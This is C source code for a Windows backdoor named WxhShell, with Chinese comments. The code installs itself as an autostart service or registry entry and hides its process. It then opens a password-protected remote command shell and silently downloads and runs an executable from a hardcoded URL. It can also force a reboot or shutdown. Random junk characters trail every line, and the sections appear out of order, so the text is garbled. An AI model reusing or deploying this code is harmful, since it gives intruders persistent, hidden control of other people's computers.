    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %T:7I[f  
    if(Boot(SHUTDOWN)) -Y"'=zkO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4-bD_  
    else { h% T$m_  
    closesocket(wsh); _N-JRM m<  
    ExitThread(0); 3d0Yq  
    } q[w.[]  
    break; sTALOL<  
    } j*aYh^  
  // 获取shell ,/P)c*at5  
  case 's': { >9v?p=  
    CmdShell(wsh); \x_fP;ma=_  
    closesocket(wsh); .`ppp!:a4  
    ExitThread(0);  EL[N%M3  
    break; ^,.G<2Kx&  
  } DlXthRM  
  // 退出 D9|?1+Kc  
  case 'x': { ADa'(#+6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]JXpe]B  
    CloseIt(wsh); ]%K 8  
    break; yb(zyGe  
    }  FGP~^Dr/  
  // 离开 K&WNtk3hT  
  case 'q': { q3s +?&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *?#t (Y[  
    closesocket(wsh); `Oc`I9  
    WSACleanup(); `jur`^S|  
    exit(1); aTceGyWzl  
    break; u,6 'yB'u  
        } p2UZqq2  
  } Gu3'<hTlxd  
  } {|jG_  
zmxrz[  
  // 提示信息 !1H\*VM "  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cO#e AQf7  
} 96.A8o  
  } v&>TU(x\H  
Z-!W#   
  return; #z\{BtK  
} =v$H8w  
\gE3wmSJ,  
// shell模块句柄 wb>>bV+U  
int CmdShell(SOCKET sock) ;b""N,  
{ myj^c>1Iz  
STARTUPINFO si; U 6y ;V  
ZeroMemory(&si,sizeof(si)); U-$ B"w&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l|[8'*]r!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2HNH@K  
PROCESS_INFORMATION ProcessInfo; $z9z'^HqO  
char cmdline[]="cmd"; b (,X3x*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K_J o^BZ  
  return 0; Xj\SJ*  
} o'3t(dyyH  
Xjal6e)[  
// 自身启动模式 aeESS;JxJj  
int StartFromService(void) >o\[?QvP  
{ K%: :  
typedef struct LW;UL}av  
{ E6-alBi%  
  DWORD ExitStatus; ZU&I`q|Y6  
  DWORD PebBaseAddress; ?^F#}>C  
  DWORD AffinityMask; c0Tda  
  DWORD BasePriority; U+!H/R)(  
  ULONG UniqueProcessId; R,hX *yVq  
  ULONG InheritedFromUniqueProcessId; NC 0H5  
}   PROCESS_BASIC_INFORMATION; 2 AZ[gr@c  
~67L  
PROCNTQSIP NtQueryInformationProcess; nD\ X3g `V  
S-8O9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;mXr])J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /:a~;i  
VY'#>k} }  
  HANDLE             hProcess; K/ q:aMq  
  PROCESS_BASIC_INFORMATION pbi; ba?]eK   
13]sZ([B%|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vXnTPjbE  
  if(NULL == hInst ) return 0; ;X u&['  
)T6+}   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,/\%-u? 1x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8VLr*83~8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7oPBe1P,K+  
K5Fzmo a  
  if (!NtQueryInformationProcess) return 0; '|e5cW6z  
Dg_/Iu>OAE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^P-!pK*  
  if(!hProcess) return 0; 3<x_[0v`K1  
p&F=<<C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /q %TjQ}F  
.E_`*[ 5=  
  CloseHandle(hProcess); K \}xb2s  
?K7m:Dx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '}c0:,5  
if(hProcess==NULL) return 0; t_YiF%}s&#  
3\FiQ/?  
HMODULE hMod; ;o\0:fzr  
char procName[255]; [IxZweK  
unsigned long cbNeeded; #(@dN+  
1$fA9u$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); apUV6h-v  
mp~\ioI*d  
  CloseHandle(hProcess); ushQWP)  
t=~5 I >  
if(strstr(procName,"services")) return 1; // 以服务启动 nTj Q4y  
.1MXQLy  
  return 0; // 注册表启动 |pr~Ohz  
} 0[0</"K%1m  
^HKxaW9W  
// 主模块 `3r*Ae  
int StartWxhshell(LPSTR lpCmdLine) p&bQ_XOH  
{ {S\cpCI`  
  SOCKET wsl; C+}uH:I'L  
BOOL val=TRUE; J3Q.6e=7  
  int port=0; SSi}1  
  struct sockaddr_in door; (@`+Le  
*#EyfMz-B  
  if(wscfg.ws_autoins) Install(); !.iA^D//]  
SZc6=^$  
port=atoi(lpCmdLine); m%q#x8Fp  
3Nw9o6`U  
if(port<=0) port=wscfg.ws_port; E/_=0t  
^zqz$G#  
  WSADATA data; <?Fgm1=o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v}-'L#6  
z@&_3 Gl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R\yw9!ESd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lm'Ony^F  
  door.sin_family = AF_INET; &&[j/d}J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q{c6DCc]\  
  door.sin_port = htons(port); \VPU)  
+(r8SnRX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jKQnox+=  
closesocket(wsl); T:wd3^.CG  
return 1; eUqsvF}l!  
} &cDnZ3Q;  
pz?.(AmU\  
  if(listen(wsl,2) == INVALID_SOCKET) { sJ?Fque  
closesocket(wsl); Oa7`Y`6  
return 1; L4S Fu.J'  
} z -(dT  
  Wxhshell(wsl); blaxUP:  
  WSACleanup(); Z/hSH 0(~  
R^dAwt`.D  
return 0; 2hf]XV\  
f? [y-  
} y S7[=S  
[F+lVb  
// 以NT服务方式启动 I2|iqbX40Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~oT0h[<  
{ "S#0QH%5  
DWORD   status = 0; ^#exs Xy  
  DWORD   specificError = 0xfffffff; sKjg)3Sl  
nb'],({:9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qo)>i0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^5u}   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L !yl^c  
  serviceStatus.dwWin32ExitCode     = 0; SLz^Wg._  
  serviceStatus.dwServiceSpecificExitCode = 0; *8js{G0h  
  serviceStatus.dwCheckPoint       = 0; 9+=U&*  
  serviceStatus.dwWaitHint       = 0; sP5PYNspA  
YG?W8)T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .'+Tnu(5q  
  if (hServiceStatusHandle==0) return; #i.M-6SRd  
t 7;V`[  
status = GetLastError(); L4}C%c\p*  
  if (status!=NO_ERROR) 8*4X%a=Of  
{ vYmRW-1Zxq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FL0(q>$*8  
    serviceStatus.dwCheckPoint       = 0; $+S'Boo   
    serviceStatus.dwWaitHint       = 0; l4hC>q$T  
    serviceStatus.dwWin32ExitCode     = status; '!{zO" 1*  
    serviceStatus.dwServiceSpecificExitCode = specificError; K!HSQ,AC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @?G.6r~  
    return; 8K6yqc H  
  } tQz-tQg  
N\HOo-X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WK /Byd.Z  
  serviceStatus.dwCheckPoint       = 0; (Pc:A! }  
  serviceStatus.dwWaitHint       = 0; *"O7ml]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ./[%%"  
} cRT@Cu  
IR(JBB|xNQ  
// 处理NT服务事件,比如:启动、停止 GJ ZT~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6/.-V1*O  
{ ?$pp%  
switch(fdwControl) U $X"W'  
{ id&;  
case SERVICE_CONTROL_STOP: [)# ,~L3  
  serviceStatus.dwWin32ExitCode = 0; J'b *^K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7DKbuUK  
  serviceStatus.dwCheckPoint   = 0; d1``} naNw  
  serviceStatus.dwWaitHint     = 0; m}Kn!21  
  { Y%|f<C)lx2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >F!2ib8  
  } g G~UsA  
  return; t~Cul+  
case SERVICE_CONTROL_PAUSE: z[}[:H8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =+'4u  
  break; rC[*x}  
case SERVICE_CONTROL_CONTINUE: g15e|y)th  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,~JxYh  
  break; g"hm"m}i  
case SERVICE_CONTROL_INTERROGATE: a%7%N N*i  
  break; jzdK''CHi  
}; dilRL,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M7fw/i  
} *s S7^OZ*  
"^Tb8!  
// 标准应用程序主函数 ; R&wr _%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tO)mKN+ (  
{ 2^E.sf$f  
e%U0^! 8  
// 获取操作系统版本 vtv|H  
OsIsNt=GetOsVer(); 5yuj}/PZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +0;6.PK  
U<KvKg  
  // 从命令行安装 &^{HD }/{b  
  if(strpbrk(lpCmdLine,"iI")) Install(); |t!kD(~r  
Vqb4 MWW  
  // 下载执行文件 b Zn:q[7  
if(wscfg.ws_downexe) { 8uchp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xCEEv5(5  
  WinExec(wscfg.ws_filenam,SW_HIDE); i~MCY.F  
} !WR(H&uBr\  
0.~QA+BD:S  
if(!OsIsNt) { r-9P&*1  
// 如果时win9x,隐藏进程并且设置为注册表启动 SZzS$6 t  
HideProc(); 4T{+R{_Y1  
StartWxhshell(lpCmdLine); &BFW`5N  
} m@u!frE,  
else B ;9^  
  if(StartFromService()) _ohZTT%l  
  // 以服务方式启动 V; Yl:*  
  StartServiceCtrlDispatcher(DispatchTable); z\sy~DM;>  
else 8G6PcTqv"  
  // 普通方式启动 -shS?kV  
  StartWxhshell(lpCmdLine); ZXY5Xvt:v  
"<Dn%r  
return 0; i"_)91RA  
} %r=uS.+hrF  
| Z0?  
m$ NBGw  
P|!GXkS  
=========================================== `kpX}cKK}  
X2}\i5{  
hJ (Q^Z  
1j`-lD  
Q&opnvN  
lQ<2Vw#Yl  
" C5CUMYU  
k?;A#L~  
#include <stdio.h> r1\c{5Wt  
#include <string.h> 0k@4;BYu  
#include <windows.h> &BY%<h0c  
#include <winsock2.h> ryB^$Kh,,  
#include <winsvc.h> eB%KXPhMm  
#include <urlmon.h> AE={P*g  
8V`NQS$  
#pragma comment (lib, "Ws2_32.lib") 9TIyY`2!  
#pragma comment (lib, "urlmon.lib") h3Nwxj~E  
ms{:=L2$$  
#define MAX_USER   100 // 最大客户端连接数 Kyt.[" p  
#define BUF_SOCK   200 // sock buffer 1XSA3;ZEc  
#define KEY_BUFF   255 // 输入 buffer & Gp@,t  
A[ 9 @:z  
#define REBOOT     0   // 重启 W2D^%;mw  
#define SHUTDOWN   1   // 关机 CC0@RU  
AON";&dLq-  
#define DEF_PORT   5000 // 监听端口 HgvgO\`]  
0&mo1 k_U  
#define REG_LEN     16   // 注册表键长度 @zL)R b%P$  
#define SVC_LEN     80   // NT服务名长度 ! @{rk p  
"w9LQ=mW  
// 从dll定义API vIF=kKl9,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sf);j0G,D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )@09Y_9r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X^r5su?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;5:g%Dt  
ZM K"3c9  
// wxhshell配置信息 ]( V+ qj  
struct WSCFG { 1L]7*NJe  
  int ws_port;         // 监听端口 R7;SZo  
  char ws_passstr[REG_LEN]; // 口令 8/,m8UOY  
  int ws_autoins;       // 安装标记, 1=yes 0=no guz{DBlK  
  char ws_regname[REG_LEN]; // 注册表键名 h!5^d!2,  
  char ws_svcname[REG_LEN]; // 服务名 gh=s#DQsFw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >ygyPl ;1s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J]UlCg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J~eY,n.6]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IT! a)d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IMIZ#/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Z"QHfO'  
qR4('  
}; LTj;e[  
}YW0?-G.$  
// default Wxhshell configuration ,Xs%Cg_Ig  
struct WSCFG wscfg={DEF_PORT, A ${b]  
    "xuhuanlingzhe", )^7Y^u e  
    1, ;>QED  
    "Wxhshell", W{O:j  
    "Wxhshell", VgtW T`F.I  
            "WxhShell Service", YLmzMD>  
    "Wrsky Windows CmdShell Service", >8_#L2@  
    "Please Input Your Password: ", ("0@_05OH  
  1, 5tT-[mQ*  
  "http://www.wrsky.com/wxhshell.exe", ZKzXSI4  
  "Wxhshell.exe" 0@d)DLM?  
    }; m(>_C~rGN  
lc>)7UF  
// 消息定义模块 5W"nn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %ANo^~8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P1;T-.X~&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OLJb8kO  
char *msg_ws_ext="\n\rExit."; (mz5vzyw  
char *msg_ws_end="\n\rQuit."; "u5Hm ^H  
char *msg_ws_boot="\n\rReboot..."; b/Y9fQ n  
char *msg_ws_poff="\n\rShutdown..."; pW7vY)hj  
char *msg_ws_down="\n\rSave to "; )k01K,%#)  
vn|u&}h  
char *msg_ws_err="\n\rErr!"; ?z%@;&  
char *msg_ws_ok="\n\rOK!"; LuY`mi  
lA {  
char ExeFile[MAX_PATH]; H1_XEcaM+*  
int nUser = 0; _ vVw2HH  
HANDLE handles[MAX_USER]; 4)BZ%1+  
int OsIsNt; h^^zR)EVb  
.NcoST9a  
SERVICE_STATUS       serviceStatus; fL.;-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4@OnMj{M  
U^vQr%ha  
// 函数声明 !Rk1q&U5  
int Install(void); fiOc;d8  
int Uninstall(void); (oX|lPD<b  
int DownloadFile(char *sURL, SOCKET wsh); KY H*5  
int Boot(int flag); ;l> xXSB7$  
void HideProc(void); ;8/w'oe *j  
int GetOsVer(void); dQ?4@  
int Wxhshell(SOCKET wsl); @?iLz7SPk  
void TalkWithClient(void *cs); . +> w0FG.  
int CmdShell(SOCKET sock); H `y.jSNi  
int StartFromService(void); geU-T\1[l  
int StartWxhshell(LPSTR lpCmdLine); Y(GH/jw  
{PgB~|W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (A O]f fBU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eO;i1>  
21D4O,yCe  
// 数据结构和表定义 Z l.}=  
SERVICE_TABLE_ENTRY DispatchTable[] = SY|r'8Z%Q  
{ wVkms  
{wscfg.ws_svcname, NTServiceMain}, 4"1OtBU3  
{NULL, NULL} QEL^0c8~  
}; jUtrFl  
.z&V!2zp  
// 自我安装 m76**X  
int Install(void) KK4>8zGR  
{ c nvxTI<  
  char svExeFile[MAX_PATH]; u\=gps/Z  
  HKEY key; pq_DYG]  
  strcpy(svExeFile,ExeFile); R9&T0Qf  
9+@"DuYc6  
// 如果是win9x系统,修改注册表设为自启动 xal,j*  
if(!OsIsNt) { ov: h4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b\NWDH7}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*p4(D_A  
  RegCloseKey(key); d,[.=Jqv[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7iu?Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lnL&v' {  
  RegCloseKey(key); RrKAgw  
  return 0; XSt5s06TM  
    } {:m5<6?x)  
  } q88p~Ccoa  
} nV38Mj2U  
else { EquNg@25W  
4 q}1  
// 如果是NT以上系统,安装为系统服务 ^(m`5]qr7J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9\3%5B7  
if (schSCManager!=0) [W=%L:Ea  
{ S`2MQL  
  SC_HANDLE schService = CreateService !jY/}M~F1  
  ( Q>7#</i\.  
  schSCManager, EceZ1b  
  wscfg.ws_svcname, "BjQs<]%sF  
  wscfg.ws_svcdisp, xou7j   
  SERVICE_ALL_ACCESS, _Ptf^+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PN2\:l+`  
  SERVICE_AUTO_START, /k<*!H]KSg  
  SERVICE_ERROR_NORMAL, St,IWOmq"  
  svExeFile, S#0y\  
  NULL, rMxst  
  NULL, OP |{R7uC  
  NULL, u~<>jAy  
  NULL, HP|,AmVLl  
  NULL =sRd5aMs  
  ); qTC`[l  
  if (schService!=0) .  hHt+  
  { S$W *i@x?  
  CloseServiceHandle(schService); RL~|Kr<7J  
  CloseServiceHandle(schSCManager); #W 1`vke3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OH5 kT$  
  strcat(svExeFile,wscfg.ws_svcname); j^KM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { As@~%0 S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~B>I?j  
  RegCloseKey(key); %r6LU<;1@  
  return 0; F<BhN+U  
    } %s$_KG!&  
  } JeMhiY}  
  CloseServiceHandle(schSCManager); ,iCd6M{  
} ]@l~z0^|[_  
} L6BHh_*E  
Q !5Tw  
return 1; V5KAiG<d  
} W()FKP\??!  
o]n5pZ\\W<  
// 自我卸载 ,8o]XFOr  
int Uninstall(void) R8EDJ2u#  
{ q "bpI8j  
  HKEY key; 598 xV|TON  
aFo%B; 8m  
if(!OsIsNt) { 6`NsX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =N<Hc:<t4  
  RegDeleteValue(key,wscfg.ws_regname); L"zOa90ig  
  RegCloseKey(key); b9EJLD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Iw'TF   
  RegDeleteValue(key,wscfg.ws_regname); ec1snMY  
  RegCloseKey(key); 5g F}7D@  
  return 0; sC ]&Qr_  
  } F"hi2@/TI  
} [KWF7GQi  
} @`}'P115@  
else { {xEX_$nv  
wX#\\Jgi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9foQ0#R  
if (schSCManager!=0) g%j z,|  
{ s`C#=l4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dp)lHBV  
  if (schService!=0) ++,mM7a  
  { ZeWHSU  
  if(DeleteService(schService)!=0) { TuIeaH%x  
  CloseServiceHandle(schService); kKE 2~ q  
  CloseServiceHandle(schSCManager); j])iyn~-Ke  
  return 0; !SJmu}OB]  
  } cJ]`/YJ  
  CloseServiceHandle(schService); ./#K@V1  
  } Y+/ofk "  
  CloseServiceHandle(schSCManager); v8*ZwF  
} ~l6e&J  
} U@& <5'  
SKLQAE5  
return 1; Y141Twjvd  
} 54uTu2  
5*g@;aR1  
// 从指定url下载文件 b${Kj3(  
int DownloadFile(char *sURL, SOCKET wsh) 1}[\@n+b  
{ b4%IyJr  
  HRESULT hr; Syp|s3u;  
char seps[]= "/"; z@~1e]%  
char *token; /unOZVr(  
char *file; M*c\=(  
char myURL[MAX_PATH]; _nx|ZJ  
char myFILE[MAX_PATH]; H:[z#f|t  
3J'a  
strcpy(myURL,sURL); Y#]Y$n  
  token=strtok(myURL,seps); &~E=T3  
  while(token!=NULL) i;|% hDNWA  
  { ACyQsmqm:  
    file=token; r{%NMj  
  token=strtok(NULL,seps); iZSj T"l^  
  } 2vWkAC;   
` |]6<<'iW  
GetCurrentDirectory(MAX_PATH,myFILE); MIR17%G  
strcat(myFILE, "\\"); =PZs'K  
strcat(myFILE, file); gLpWfT29V  
  send(wsh,myFILE,strlen(myFILE),0); w_U5w  
send(wsh,"...",3,0); tD4IwX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @~63%6r#4M  
  if(hr==S_OK) T7W+K7kbI  
return 0; (O`=$e  
else +IS$Un  
return 1; (Nik( Oyj"  
40g&zU-  
} l}O`cC  
3\(s=- vh  
// 系统电源模块 /itO xrA  
int Boot(int flag) .}Zmqz[  
{ `Z@wWs  
  HANDLE hToken; 'rR\H2b   
  TOKEN_PRIVILEGES tkp; ;m`I}h<  
}kOhwT8sI  
  if(OsIsNt) { klch!m=d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J2 5>t^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jzPC9  
    tkp.PrivilegeCount = 1; CJu;X[6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fA 3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x_@ev-  
if(flag==REBOOT) { fmSw%r|pT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \C<rg|  
  return 0; }`_2fJ6  
} eQ9x l  
else { *Lh0E/5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "(C }Dn#  
  return 0; e<C5}#wt  
} n[iil$VKh  
  } 5;|9bWH  
  else { oO UVU}H  
if(flag==REBOOT) { rg'? ?rq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pc(2'r@#  
  return 0; Me`"@{r|#  
} CZa9hsM  
else { p}Gk|Kjlq,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tICxAp:  
  return 0; '[juPI(!  
} eq@ v2o7  
} a"EQldm|d  
Eui;2P~  
return 1; 71 A{"  
} \7C >4  
4\$Ze0tv  
// win9x进程隐藏模块 /60[T@Mz  
void HideProc(void) ;^*^ :L  
{ 7H[+iS0  
g Sa,A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O]PfQ  
  if ( hKernel != NULL ) tlcA\+%)  
  { }6S4yepl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >`NM?KP s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? {&#l2  
    FreeLibrary(hKernel); Y3Qq'FN!I  
  } .(Pe1pe  
sO  
return; 4p-$5Fk8}  
} -p;o e}|  
4]+ ^K`  
// 获取操作系统版本 6F(yH4  
int GetOsVer(void) 7"[lWC!As5  
{ FVD}9ia  
  OSVERSIONINFO winfo; 6?a(@<k_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Dn-vY'  
  GetVersionEx(&winfo); ag+ML1#)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -e)bq: T  
  return 1; Y7jD:P  
  else (la   
  return 0; txgGL'  
} Dr2h-  
 JA)gM  
// 客户端句柄模块 [n}c}%  
int Wxhshell(SOCKET wsl) EjF}yuq[  
{ ,U tw!]  
  SOCKET wsh; SP*5 W)6  
  struct sockaddr_in client; ,AD| u_pP  
  DWORD myID; M\<!m^~  
u+R?N% EKP  
  while(nUser<MAX_USER) 2+P3Sii  
{ =L=#PJAPj  
  int nSize=sizeof(client); '^J/aV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o|}%pc3  
  if(wsh==INVALID_SOCKET) return 1; ,,Db:4qfjD  
U'lD|R,g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,yqzk.  
if(handles[nUser]==0) 0F3>kp4u  
  closesocket(wsh); HcVPJuD  
else I{AU,  
  nUser++; "TV.$s$.  
  } C>u 3n^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >4VU  
!'gz&3B~h  
  return 0; bOFLI#p&  
} 0 iE).Za0g  
eHJ7L8#  
// 关闭 socket b{ozt\:M  
void CloseIt(SOCKET wsh) ."^dJ |fN  
{ _Pz3QsV9  
closesocket(wsh); j(BS;J$i  
nUser--; |HU qqlf  
ExitThread(0); ]q3Kd{B  
} 7E5Dz7  
k1U~S`>$  
// 客户端请求句柄 c@^:tB  
void TalkWithClient(void *cs) F@*lR(4C  
{ ?% X9XH/!  
`%XgGHiE  
  SOCKET wsh=(SOCKET)cs; ^kD? 0Fm  
  char pwd[SVC_LEN]; ^VIUXa  
  char cmd[KEY_BUFF]; G9a%N  
char chr[1]; ^(\Gonf<  
int i,j; vX/A9Qi,U.  
(p?3#|^  
  while (nUser < MAX_USER) { z\h+6FCD  
#-Rz`Y<&  
if(wscfg.ws_passstr) { aK&+p#4t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vedMzef[@>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Ry.Wth  
  //ZeroMemory(pwd,KEY_BUFF); 6uXW`/lvX  
      i=0; 0oJ^a^|  
  while(i<SVC_LEN) { 7qUtsDK  
,%'0e /  
  // 设置超时 yUSB{DLpla  
  fd_set FdRead; u`'z~N4}  
  struct timeval TimeOut; }H#t( 9,U  
  FD_ZERO(&FdRead); #rpqt{m l  
  FD_SET(wsh,&FdRead); eq+o_R}CS  
  TimeOut.tv_sec=8; }J?fJ (  
  TimeOut.tv_usec=0; I:_*8el&d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {^kG<v.vV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GA_`C"mx  
Riw7<j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q kZM(pG  
  pwd=chr[0]; eE{L>u  
  if(chr[0]==0xd || chr[0]==0xa) { :.Qe=}9  
  pwd=0; sBb.Y k  
  break; 1a$V{Eag  
  } 5y3TlR  
  i++; Crhi+D  
    } /8MQqZ C  
# VV.[ N  
  // 如果是非法用户,关闭 socket Doh|G:P]#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e87- B1`  
} 05KoxFO?  
T"H )g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JZ% F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $vLV< y07  
,/:a77  
while(1) { &7T H V  
fBgKX ?Y  
  ZeroMemory(cmd,KEY_BUFF); CdDd+h8  
'^l^gW/|\  
      // 自动支持客户端 telnet标准   <s >/< kW:  
  j=0; ]X~g@O{>_  
  while(j<KEY_BUFF) { )h0E$*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =]QH78\3  
  cmd[j]=chr[0]; 7Hl_[n|  
  if(chr[0]==0xa || chr[0]==0xd) { ^CPfo/!  
  cmd[j]=0; M91lV(Z   
  break; k<| l \]w  
  } Dw=Z_+J  
  j++; ,GJ>vT)  
    } T4=3VrS  
n]DNxC@b  
  // 下载文件 P"x-7>c>Y  
  if(strstr(cmd,"http://")) { }#G"!/ZA0:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _Hu2[lV  
  if(DownloadFile(cmd,wsh)) bjBeiKH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -t 6R!ZI  
  else p,iCM?[|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q83~j `ZJ$  
  } ]rg+n c3  
  else { =/g$bZ  
Ydh<TF4!  
    switch(cmd[0]) { 9V;$v  
